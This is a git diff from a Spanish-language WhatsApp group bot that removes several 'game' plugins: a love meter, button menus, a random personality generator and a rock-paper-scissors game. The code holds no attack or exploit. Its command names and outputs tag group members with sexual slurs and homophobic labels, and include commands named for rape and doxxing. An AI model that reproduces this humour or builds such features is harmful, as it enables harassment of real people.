+*_5.- ${user(i)} 💘 ${user(j)}_*
+Genial! 💝, están de Luna de miel 🥵✨❤️🔥`
+m.reply(top, null, { mentions: conn.parseMention(top) })}
+} catch (e) {
+//await conn.reply(m.chat, `${lenguajeGB['smsMalError3']()}#report ${lenguajeGB['smsMensError2']()} ${usedPrefix + command}\n\n${wm}`, fkontak, m)
+//console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
+console.log(e)}}
+handler.help = ["love", "gay2", "lesbiana", "pajero", "pajera", "puto", "puta", "manco", "manca", "rata", "prostituta", "prostituto", "amigorandom", "amistad", "regalar", "formarpareja", "gay", "personalidad", "pregunta", "ship", "topgays", "top", "topputos", "toplindos", "toppajer@s", "topshipost", "toppanafresco", "topgrasa", "topintegrantes", "topfamos@s", "topsostero", "top5parejas", "Doxxeo", "doxxeo", "follar"];
+handler.tags = ['game'];
+handler.command = /^love|gay2|lesbiana|pajero|pajera|puto|puta|manco|manca|rata|prostituta|prostituto|amigorandom|amistad|regalar|dar|enviar|meter|chupar|metersela|retar|formarpareja|formarparejas|gay|personalidad|pregunta|preguntas|apakah|ship|shippear|topgays|top|topputos|toplindos|toplind@s|toppajer@s|toppajeros|topshipost|topshiposters|toppanafresco|topgrasa|toppanafrescos|toplagrasa|topintegrante|topintegrantes|topotakus|topfamosos|topfamos@s|topsostero|topparejas|top5parejas|Doxxeo|doxxeo|doxxear|Doxxear|doxeo|doxear|doxxeame|doxeame|ruletas|ruleta|suerte|violar|follar/i
+handler.register = true
+export default handler
+
+function pickRandom(list) {
+return list[Math.floor(Math.random() * list.length)]}
+
+const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
+
+function msToTime(duration) {
+var milliseconds = parseInt((duration % 1000) / 100),
+seconds = Math.floor((duration / 1000) % 60),
+minutes = Math.floor((duration / (1000 * 60)) % 60),
+hours = Math.floor((duration / (1000 * 60 * 60)) % 24)
+hours = (hours < 10) ? "0" + hours : hours
+minutes = (minutes < 10) ? "0" + minutes : minutes
+seconds = (seconds < 10) ? "0" + seconds : seconds
+return hours + " Hora(s) " + minutes + " Minuto(s)"}
+
+//conn.sendHydrated(m.chat, juego, wm, null, md, '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿', null, null, [
+//['𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 | 𝙂𝙖𝙢𝙚𝙨 𝙈𝙚𝙣𝙪 🎡', '#juegosmenu'],
+//['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 | 𝘼𝙜𝙖𝙞𝙣 🤭', `${usedPrefix + command} ${text.toUpperCase()}`],
+//['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ | 𝘽𝙖𝙘𝙠 𝙩𝙤 𝙈𝙚𝙣𝙪 ☘️', '/menu']
+//], m, m.mentionedJid ? {
+//mentions: m.mentionedJid
+//} : {})}
\ No newline at end of file
diff --git a/plugins/fun-love.js b/plugins/fun-love.js
deleted file mode 100644
index 9221d38b4..000000000
--- a/plugins/fun-love.js
+++ /dev/null
@@ -1,11 +0,0 @@
-let handler = async (m, { conn, command, text }) => {
-let love = `*❤️❤️ MEDIDOR DE AMOR ❤️❤️*
-
-*El amor de ${text} por ti es de* *${Math.floor(Math.random() * 100)}%* *de un 100%*
-*Deberias pedirle que sea tu novia/o ?*
-`.trim()
-m.reply(love, null, { mentions: conn.parseMention(love) })}
-handler.help = ['love']
-handler.tags = ['fun']
-handler.command = /^(love)$/i
-export default handler
diff --git a/plugins/fun-multijuegos.js b/plugins/fun-multijuegos.js
deleted file mode 100644
index 7aab155e2..000000000
--- a/plugins/fun-multijuegos.js
+++ /dev/null
@@ -1,226 +0,0 @@
-import { xpRange } from '../lib/levelling.js'
-import PhoneNumber from 'awesome-phonenumber'
-import { promises } from 'fs'
-import { join } from 'path'
-import { performance } from 'perf_hooks'
-let handler = async (m, { conn, usedPrefix, command, args, usedPrefix: _p, __dirname, isOwner, text, isAdmin, isROwner }) => {
-
-//let com = `${usedPrefix}`
-//let juegos = `${pickRandom([`${com}formarareja`,`${com}reto`,`${com}verdad`])}`
-
-
-
-const { levelling } = '../lib/levelling.js'
-//let handler = async (m, { conn, usedPrefix, usedPrefix: _p, __dirname, text }) => {
-
-let { exp, limit, level, role } = global.db.data.users[m.sender]
-let { min, xp, max } = xpRange(level, global.multiplier)
-
-let d = new Date(new Date + 3600000)
-let locale = 'es'
-let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(d / 84600000) % 5]
-let week = d.toLocaleDateString(locale, { weekday: 'long' })
-let date = d.toLocaleDateString(locale, {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-})
-let dateIslamic = Intl.DateTimeFormat(locale + '-TN-u-ca-islamic', {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-}).format(d)
-let time = d.toLocaleTimeString(locale, {
-hour: 'numeric',
-minute: 'numeric',
-second: 'numeric'
-})
-let _uptime = process.uptime() * 1000
-let _muptime
-if (process.send) {
-process.send('uptime')
-_muptime = await new Promise(resolve => {
-process.once('message', resolve)
-setTimeout(resolve, 1000)
-}) * 1000
-}
-let muptime = clockString(_muptime)
-let uptime = clockString(_uptime)
-let totalreg = Object.keys(global.db.data.users).length
-let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length
-let replace = {
-'%': '%',
-p: _p, uptime, muptime,
-me: conn.getName(conn.user.jid),
-
-exp: exp - min,
-maxexp: xp,
-totalexp: exp,
-xp4levelup: max - exp,
-
-level, limit, weton, week, date, dateIslamic, time, totalreg, rtotalreg, role,
-readmore: readMore
-}
-text = text.replace(new RegExp(`%(${Object.keys(replace).sort((a, b) => b.length - a.length).join`|`})`, 'g'), (_, name) => '' + replace[name])
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
- let mentionedJid = [who]
- let username = conn.getName(who)
-
-await delay(5000)
-if (command == 'multijuegos') {
- global.db.data.users[m.sender].limit += 1
-
- //let loli = `${pickRandom([`𝙋𝙪𝙚𝙙𝙚𝙨 𝙂𝙖𝙣𝙖𝙧 𝘿𝙞𝙖𝙢𝙖𝙣𝙩𝙚𝙨 𝙖𝙡 𝙅𝙪𝙜𝙖𝙧!!`,`𝙎𝙞𝙜𝙪𝙚 𝙟𝙪𝙜𝙖𝙣𝙙𝙤 𝙥𝙖𝙧𝙖 𝙜𝙖𝙣𝙖𝙧 Loli𝘾𝙤𝙞𝙣𝙨!!`,`𝙎𝙖𝙗𝙞𝙖𝙨 𝙦𝙪𝙚 𝙥𝙪𝙚𝙙𝙚𝙨 𝙂𝙖𝙣𝙖𝙧 𝙀𝙭𝙥𝙚𝙧𝙞𝙚𝙣𝙘𝙞𝙖 𝙖𝙡 𝙅𝙪𝙜𝙖𝙧? 𝘼𝙝𝙤𝙧𝙖 𝙮𝙖 𝙡𝙤 𝙨𝙖𝙗𝙚𝙨!!`])}`
- //let s = `Bienvenido al Multijuegos Aleeatorios`
-
- const templateButtonsReplyMessage = [
-{index: 1, urlButton: {displayText: '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫', url: 'https://github.com/elrebelde21/The-LoliBot-MD'}},
-{index: 2, urlButton: {displayText: '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', url: 'https://www.instagram.com/gata_dios/'}},
-{index: 3, quickReplyButton: {displayText: '𝙄𝙣𝙞𝙘𝙞𝙖𝙧 ✨', id: '.juegos'}},
-{index: 4, quickReplyButton: {displayText: '𝙈𝙚𝙣𝙪 𝙅𝙪𝙚𝙜𝙤𝙨 🎡', id: '#juegosmenu'}},
-{index: 5, quickReplyButton: {displayText: '𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', id: '#menu'}},
-]
-
-let t = {
-text: global.wm,
-footer: `𝘽𝙞𝙚𝙣𝙫𝙚𝙣𝙞𝙙𝙤(𝙖) ${username}\n𝙅𝙪𝙚𝙜𝙖𝙨 𝙪𝙣𝙖 𝙜𝙧𝙖𝙣 𝙫𝙖𝙧𝙞𝙚𝙙𝙖𝙙 𝙙𝙚 𝙟𝙪𝙚𝙜𝙤𝙨!!`,
-templateButtons: templateButtonsReplyMessage
- }
-conn.sendMessage(m.chat, t, m)
-}
-
-
- if (command == 'juegos') {
- global.db.data.users[m.sender].money += 5
- let gata = `${pickRandom([`𝙋𝙪𝙚𝙙𝙚𝙨 𝙂𝙖𝙣𝙖𝙧 𝘿𝙞𝙖𝙢𝙖𝙣𝙩𝙚𝙨 𝙖𝙡 𝙅𝙪𝙜𝙖𝙧!!`,`𝙎𝙞𝙜𝙪𝙚 𝙟𝙪𝙜𝙖𝙣𝙙𝙤 𝙥𝙖𝙧𝙖 𝙜𝙖𝙣𝙖𝙧 loli𝘾𝙤𝙞𝙣𝙨!!`,`𝙎𝙖𝙗𝙞𝙖𝙨 𝙦𝙪𝙚 𝙥𝙪𝙚𝙙𝙚𝙨 𝙂𝙖𝙣𝙖𝙧 𝙀𝙭𝙥𝙚𝙧𝙞𝙚𝙣𝙘𝙞𝙖 𝙖𝙡 𝙅𝙪𝙜𝙖𝙧? 𝘼𝙝𝙤𝙧𝙖 𝙮𝙖 𝙡𝙤 𝙨𝙖𝙗𝙚𝙨!!`])}`
- let c = `${usedPrefix}`
- let juegos = `${pickRandom([`${c}reto`,`${c}verdad`,`${c}topgays`,`${c}topotakus`,`${c}mates medium`,`${c}mates noob`])}`
- let juegos2 = `${pickRandom([`${c}reto`,`${c}verdad`,`${c}formarpareja`,`${c}ppt tijeras`,`${c}ppt piedra`])}`
- let juegos3 = `${pickRandom([`${c}gay`,`${c}ppt papel`,`${c}pregunta Soy Pro en el Grupo?`,`${c}mates impossible2`,`${c}rata Yo`])}`
- let emojis1 = `${pickRandom([`🦁`,`🐮`,`🦖`,`👻`,`🐈`,`🐆`,`🐅`,`🐒`])}`
- let emojis2 = `${pickRandom([`💟`,`☮️`,`☪️`,`☯️`,`🕉️`,`☸️`,`✡️`,`🔯`])}`
- let emojis3 = `${pickRandom([`🛸`,`🚁`,`🚀`,`🧠`,`✈️`,`🚤`,`🚢`,`🚗`])}`
-
-
- let ss = await `𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫`
-
- const templateButtonsReplyMessage = [
-{index: 1, urlButton: {displayText: '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫', url: 'https://github.com/elrebelde21/The-LoliBot-MD'}},
-{index: 2, urlButton: {displayText: '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', url: ''}},
-{index: 3, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis1}`, id: juegos}},
-{index: 4, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis2}`, id: juegos2}},
-{index: 5, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis3}`, id: juegos3}},
-]
-
-let tt = {
-text: ss,
-footer: gata,
-templateButtons: templateButtonsReplyMessage
-}
-conn.sendMessage(m.chat, tt, m)
-}
-
-
- if (command == 'juegos') {
- global.db.data.users[m.sender].money += 10
- let gata = `${pickRandom([`𝘿𝙚𝙢𝙪𝙚𝙨𝙩𝙧𝙖 𝙦𝙪𝙚 𝙥𝙪𝙚𝙙𝙚𝙨 𝙡𝙡𝙚𝙜𝙖𝙧 𝙖𝙡 𝙏𝙤𝙥 1!!`,`𝙈𝙞𝙚𝙣𝙩𝙧𝙖𝙨 𝙢𝙖𝙨 𝙅𝙪𝙚𝙜𝙖𝙨 𝙩𝙪 𝙍𝙖𝙣𝙜𝙤 𝙩𝙖𝙢𝙗𝙞𝙚𝙣 𝙨𝙪𝙗𝙞𝙧𝙖!!`,`𝙋𝙖𝙧𝙩𝙞𝙘𝙞𝙥𝙖 𝙚𝙣 𝙚𝙡 𝙢𝙤𝙙𝙤 𝙈𝙪𝙡𝙩𝙞𝙟𝙪𝙚𝙜𝙤𝙨 𝙮 𝙂𝙖𝙣𝙖 𝙧𝙚𝙘𝙤𝙢𝙥𝙚𝙣𝙨𝙖𝙨!!`])}`
- let c = `${usedPrefix}`
- let juegos = `${pickRandom([`${c}lesbiana Yo`,`${c}doxxear`,`${c}pajero Yo`,`${c}love Tú Mejor Amigo/a`,`${c}reto`,`${c}verdad`,`${c}ppt piedra`,`${c}puta Yo`,`${c}mates medium`,`${c}simi Que`])}`
- let juegos2 = `${pickRandom([`${c}ppt piedra`,`${c}mates noob`,`${c}pregunta El cielo y el infierno existen?`,`${c}pregunta Hay una sola vida?`,`${c}pregunta Los robots y androides podrán tener sentimientos en algún momento?`,`${c}pregunta De verdad el universo es infinito?`,`${c}pajera Yo`,`${c}manca Yo`,`${c}manco Yo`,`${c}pregunta Hay un destino?`,`${c}pregunta Se puede tener todo lo que se quiere?`])}`
- let juegos3 = `${pickRandom([`${c}puto Él de arriba`,`${c}puta La de arriba`,`${c}pregunta Se puede viajar en el tiempo?`,`${c}pregunta Hay un solo Universo?`,`${c}rata Yo`,`${c}mates impossible`,`${c}prostituto Yo`,`${c}prostituta Yo`,`${c}pregunta Soy Pro en el Grupo?`,`${c}mates impossible2`,`${c}rata Yo`])}`
- let emojis1 = `${pickRandom([`😃`,`😳`,`🤑`,`🤠`,`🤭`,`😇`,`😋`,`🥴`])}`
- let emojis2 = `${pickRandom([`🕵🏻♀️`,`🕵🏽♀️`,`🕵🏻♂️`,`🕵🏾♂️`,`👩🏿⚕️`,`🧑🏿⚕️`,`👩🏻⚕️`,`🧑🏻⚕️`,`👩🏼⚕️`,`🧑🏼⚕️`,`👩🏻🍳`,`🧑🏽🍳`,`👩🏾🍳`,`🧑🏿🍳`,`👩🏻🎓`,`👩🏼🎓`,`🧑🏾🎓`,`🧑🏻🎓`,`👩🏿🚀`,`🧑🏾🚀`,`👩🏽🚀`,`🧑🏽🚀`,`👩🏻⚖️`,`🧑🏻⚖️`,`👩🏽⚖️`,`🧑🏾⚖️`,`👩🏼⚖️`,`🧑🏼⚖️`,`🧙🏾♀️`,`🧙🏾♂️`,`🧙🏻♀️`,`🧙🏻♂️`,`🧚🏻♀️`,`🧚🏻♂️`,`🧚🏿♀️`,`🧚🏿♂️`,`🧚🏽♀️`,`🧚🏽♂️`,`🧞♀️`,`🧞♂️`,`👩🏻🎨`,`👩🏼🎨`,`👩🏿🎨`,`🧑🏻🎨`,`🧑🏼🎨`,`🧑🏿🎨`])}`
- let emojis3 = `${pickRandom([`🍑`,`🍒`,`🍕`,`🍡`,`🍨`,`🥧`,`🍜`,`🍛`,`🍫`,`🫒`,`🍆`,`🍩`,`🍪`,`🍿`])}`
-
- let sss = await `𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫`
-
- const templateButtonsReplyMessage = [
-{index: 1, urlButton: {displayText: '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫', url: 'https://github.com/elrebelde21/The-LoliBot-MD'}},
-{index: 2, urlButton: {displayText: '𝙔𝙤𝙪𝙩𝙪𝙗𝙚', url: 'https://www.youtube.com/@TheLoliBot-MD'}},
-{index: 3, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis1}`, id: juegos}},
-{index: 4, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis2}`, id: juegos2}},
-{index: 5, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis3}`, id: juegos3}},
-]
-let ttt = {
-text: sss,
-footer: gata,
-templateButtons: templateButtonsReplyMessage
-}
-conn.sendMessage(m.chat, ttt, m)
-}
-
- if (command == 'juegos') {
- global.db.data.users[m.sender].exp += 20
- let gata = `${pickRandom([`𝙀𝙡𝙞𝙟𝙚 𝙏𝙪 𝙀𝙢𝙤𝙟𝙞 𝙁𝙖𝙫𝙤𝙧𝙞𝙩𝙤 𝙥𝙖𝙧𝙖 𝙅𝙪𝙜𝙖𝙧!!`,`𝘼𝙙𝙞𝙫𝙞𝙣𝙖 𝙚𝙡 𝙋𝙧𝙤𝙭𝙞𝙢𝙤 𝙅𝙪𝙚𝙜𝙤!!`,`𝘼𝙙𝙞𝙫𝙞𝙣𝙖 𝙚𝙡 𝙋𝙧𝙤𝙭𝙞𝙢𝙤 𝙅𝙪𝙚𝙜𝙤!!`,`𝙈𝙞𝙣𝙞𝙟𝙪𝙚𝙜𝙤𝙨 𝙚𝙨𝙩á𝙣 𝙚𝙨𝙥𝙚𝙧𝙖𝙣𝙙𝙤 𝙚𝙣 𝙨𝙚𝙧 𝙅𝙪𝙜𝙖𝙙𝙤𝙨!!`])}`
- let c = `${usedPrefix}`
- let juegos = `${pickRandom([`${c}lesbiana Yo`,`${c}doxxear`,`${c}pajero Yo`,`${c}love Tú Mejor Amigo/a`,`${c}reto`,`${c}verdad`,`${c}ppt piedra`,`${c}puta Yo`,`${c}mates medium`,`${c}simi Que`])}`
- let juegos2 = `${pickRandom([`${c}ppt piedra`,`${c}mates noob`,`${c}pregunta El cielo y el infierno existen?`,`${c}pregunta Hay una sola vida?`,`${c}pregunta Los robots y androides podrán tener sentimientos en algún momento?`,`${c}pregunta De verdad el universo es infinito?`,`${c}pajera Yo`,`${c}manca Yo`,`${c}manco Yo`,`${c}pregunta Hay un destino?`,`${c}pregunta Se puede tener todo lo que se quiere?`])}`
- let juegos3 = `${pickRandom([`${c}puto Él de arriba`,`${c}puta La de arriba`,`${c}pregunta Se puede viajar en el tiempo?`,`${c}pregunta Hay un solo Universo?`,`${c}rata Yo`,`${c}mates impossible`,`${c}prostituto Yo`,`${c}prostituta Yo`,`${c}pregunta Soy Pro en el Grupo?`,`${c}mates impossible2`,`${c}rata Yo`])}`
- let emojis1 = `${pickRandom([`🎄`,`🌲`,`🌴`,`🌱`,`🌿`,`☘️`,`🍀`,`🍃`,`🍂`,`🍁`,`🍄`,`🌷`,`🌹`,`💐`,`🌼`,`🌻`,`🌺`,`🌸`])}`
- let emojis2 = `${pickRandom([`❤️`,`🧡`,`💛`,`💚`,`💙`,`💜`,`🖤`,`💔`,`❤️🔥`,`❤️🩹`,`❣️`,`💕`,`💞`,`💓`,`💗`,`💖`,`💘`,`💝`])}`
- let emojis3 = `${pickRandom([`🥊`,`🥋`,`🎣`,`🎊`,`🎉`,`🎈`,`✨`,`⭐`,`💫`,`🌟`,`🌈`,`🔥`,`💥`,`☃️`,`❄️`,`⛱️`,`🗿`,`🔮`])}`
-
- let ssss = await `𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫`
-
- const templateButtonsReplyMessage = [
-{index: 1, urlButton: {displayText: null, url: null}},
-{index: 2, urlButton: {displayText: null, url: null}},
-{index: 3, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis1}`, id: juegos}},
-{index: 4, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis2}`, id: juegos2}},
-{index: 5, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis3}`, id: juegos3}},
-]
-let tttt = {
-text: ssss,
-footer: `${gata}`,
-templateButtons: templateButtonsReplyMessage
- }
-conn.sendMessage(m.chat, tttt, m)
-}
-
-
-
- if (command == 'juegos') {
- global.db.data.users[m.sender].exp += 20
- let gata = `${pickRandom([`𝘾𝙖𝙧𝙜𝙖 𝙢𝙖𝙨 𝙅𝙪𝙚𝙜𝙤𝙨 𝙪𝙨𝙖𝙣𝙙𝙤 𝙚𝙡 𝘽𝙤𝙩𝙤𝙣 𝙈𝙖𝙨 𝙅𝙪𝙚𝙜𝙤𝙨!!`,`𝘿𝙞𝙣𝙖𝙢𝙞𝙘𝙖𝙨, 𝙍𝙚𝙩𝙤𝙨, 𝘼𝙥𝙪𝙚𝙨𝙩𝙖𝙨, 𝙀𝙩𝙞𝙦𝙪𝙚𝙩𝙖𝙨 𝙮 𝙢𝙪𝙘𝙝𝙤 𝙢𝙖𝙨!!`])}`
- let c = `${usedPrefix}`
- let juegos2 = `${pickRandom([`${c}ppt piedra`,`${c}mates noob`,`${c}pregunta El cielo y el infierno existen?`,`${c}pregunta Hay una sola vida?`,`${c}pregunta Los robots y androides podrán tener sentimientos en algún momento?`,`${c}pregunta De verdad el universo es infinito?`,`${c}pajera Yo`,`${c}manca Yo`,`${c}manco Yo`,`${c}pregunta Hay un destino?`,`${c}pregunta Se puede tener todo lo que se quiere?`])}`
- let juegos3 = `${pickRandom([`${c}puto Él de arriba`,`${c}puta La de arriba`,`${c}pregunta Se puede viajar en el tiempo?`,`${c}pregunta Hay un solo Universo?`,`${c}rata Yo`,`${c}mates impossible`,`${c}prostituto Yo`,`${c}prostituta Yo`,`${c}pregunta Soy Pro en el Grupo?`,`${c}mates impossible2`,`${c}rata Yo`])}`
- let emojis1 = `${pickRandom([`🏳️`,`🏴`,`🏴☠️`,`🏁`,`🚩`,`🏳️🌈`,`🏳⚧`,`🇧🇷`,`🇨🇱`,`🇦🇷`,`🇧🇴`,`🇻🇪`,`🇭🇳`,`🇺🇾`,`🇨🇴`,`🇵🇪`,`🇵🇦`,`🇳🇮`,`🇬🇹`,`🇨🇺`,`🇨🇷`,`🇭🇹`,`🇩🇴`,`🇲🇽`,`🇸🇻`,`🇬🇾`,`🇺🇸`,`🇨🇦`,`🇱🇨`,`🇪🇨`])}`
- let emojis2 = `${pickRandom([`🌁`,`🌉`,`🌌`,`🌃`,`🏙️`,`🌆`,`🌇`,`🎆`,`🎇`,`🌠`,`🌄`,`🌅`,`🏞️`,`🎑`,`🗾`,`🏜️`,`🏝️`,`🏖️`,`🗼`,`🗽`,`🗺️`,`🏗️`])}`
-
- let ssss = await `𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝒃𝒐𝒕-𝑴𝑫`
-
- const templateButtonsReplyMessage = [
-{index: 1, urlButton: {displayText: null, url: null}},
-{index: 2, urlButton: {displayText: null, url: null}},
-{index: 3, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis1}`, id: juegos2}},
-{index: 4, quickReplyButton: {displayText: `𝙅𝙪𝙜𝙖𝙧 ${emojis2}`, id: juegos3}},
-{index: 5, quickReplyButton: {displayText: '🎁 𝙈𝙖𝙨 𝙅𝙪𝙚𝙜𝙤𝙨', id: '#juegos'}},
-]
-let tttt = {
-text: ssss,
-footer: gata,
-templateButtons: templateButtonsReplyMessage
- }
-conn.sendMessage(m.chat, tttt, m)
-}
- }
-handler.help = ['infomenu'].map(v => v + 'able ')
-handler.tags = ['group', 'owner']
-handler.command = ['multijuegos', 'juegos']
-handler.group = true
-//handler.exp = 200
-//handler.money = 200
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
-function clockString(ms) {
-let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
-let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
-let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
-return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')}
-
-function pickRandom(list) {
-return list[Math.floor(Math.random() * list.length)]}
diff --git a/plugins/fun-personalidad.js b/plugins/fun-personalidad.js
deleted file mode 100644
index 28f6834ef..000000000
--- a/plugins/fun-personalidad.js
+++ /dev/null
@@ -1,31 +0,0 @@
-let handler = async (m, { conn, command, text }) => {
-
- if (!text) return conn.reply(m.chat, 'Ingrese un nombre?', m)
-
- let personalidad = `
-┏━━°❀❬ *PERSONALIDAD}* ❭❀°━━┓
-*┃*
-*┃• Nombre* : ${text}
-*┃• Buena Moral* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Mala Moral* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Tipo de persona* : ${pickRandom(['De buen corazón','Arrogante','Tacaño','Generoso','Humilde','Tímido','Cobarde','Entrometido','Cristal','No binarie XD', 'Pendejo'])}
-*┃• Siempre* : ${pickRandom(['Pesado','De malas','Distraido','De molestoso','Chismoso','Pasa jalandosela','De compras','Viendo anime','Chatea en WhatsApp porque esta soltero','Acostado bueno para nada','De mujeriego','En el celular'])}
-*┃• Inteligencia* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Morosidad* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Coraje* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Miedo* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Fama* : ${pickRandom(['6%','12%','20%','27%','35%','41%','49%','54%','60%','66%','73%','78%','84%','92%','93%','94%','96%','98,3%','99,7%','99,9%','1%','2,9%','0%','0,4%'])}
-*┃• Género* : ${pickRandom(['Hombre', 'Mujer', 'Homosexual', 'Bisexual', 'Pansexual', 'Feminista', 'Heterosexual', 'Macho alfa', 'Mujerzona', 'Marimacha', 'Palosexual', 'PlayStationSexual', 'Sr. Manuela', 'Pollosexual'])}
-┗━━━━━━━━━━━━━━━━
-`
-conn.reply(m.chat, personalidad, m, { mentions: conn.parseMention(personalidad) })
-}
-handler.help = ['personalidad **']
-handler.tags = ['fun']
-handler.command = /^personalidad/i
-
-export default handler
-
-function pickRandom(list) {
- return list[Math.floor(Math.random() * list.length)]
-}
\ No newline at end of file
diff --git a/plugins/fun-ppt.js b/plugins/fun-ppt.js
deleted file mode 100644
index f59ed90da..000000000
--- a/plugins/fun-ppt.js
+++ /dev/null
@@ -1,218 +0,0 @@
-let timeout = 60000
-let poin = 500
-let poin_lose = -100
-let poin_bot = 200
-global.suit = global.suit ? global.suit : {}
-let handler = async (m, { conn, usedPrefix, command, text }) => {
-let pp = 'https://telegra.ph/file/c7924bf0e0d839290cc51.jpg'
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (Object.values(conn.suit).find(room => room.id.startsWith('suit') && [room.p, room.p2].includes(m.sender))) throw `${lenguajeGB['smsAvisoAG']()}𝙏𝙀𝙍𝙈𝙄𝙉𝘼 𝙏𝙐 𝙋𝘼𝙍𝙏𝙄𝘿𝘼 𝘼𝙉𝙏𝙀𝙎 𝘿𝙀 𝙄𝙉𝙄𝘾𝙄𝘼𝙍 𝙊𝙏𝙍𝘼`
-let textquien = `${lenguajeGB['smsAvisoMG']()}𝘼 𝙌𝙐𝙄𝙀𝙉 𝙌𝙐𝙄𝙀𝙍𝙀𝙎 𝘿𝙀𝙎𝘼𝙁𝙄𝘼𝙍 𝙀𝙏𝙄𝙌𝙐𝙀𝙏𝘼 𝘼 𝙐𝙉𝘼 𝙋𝙀𝙍𝙎𝙊𝙉𝘼\n\n*𝙀𝙅𝙀𝙈𝙋𝙇𝙊:*\n${usedPrefix + command} @tag`
-if (!m.mentionedJid[0]) return m.reply(textquien, m.chat, {quoted: fkontak }, { mentions: conn.parseMention(textquien)})
-if (Object.values(conn.suit).find(room => room.id.startsWith('suit') && [room.p, room.p2].includes(m.mentionedJid[0]))) throw `${lenguajeGB['smsAvisoIIG']()}𝙇𝘼 𝙋𝙀𝙍𝙎𝙊𝙉𝘼 𝘼 𝙇𝘼 𝙌𝙐𝙀 𝙌𝙐𝙄𝙀𝙍𝙀 𝘿𝙀𝙎𝘼𝙁𝙄𝘼𝙍 𝘼 𝙐𝙉 𝙀𝙎𝙏𝘼 𝙅𝙐𝙂𝘼𝙉𝘿𝙊 𝙊𝙏𝙍𝘼 𝙋𝘼𝙍𝙏𝙄𝘿𝘼, 𝙀𝙎𝙋𝙀𝙍𝙀 𝘼 𝙌𝙐𝙀 𝙏𝙀𝙍𝙈𝙄𝙉𝙀 𝘿𝙀 𝙅𝙐𝙂𝘼𝙍`
-let id = 'suit_' + new Date() * 1
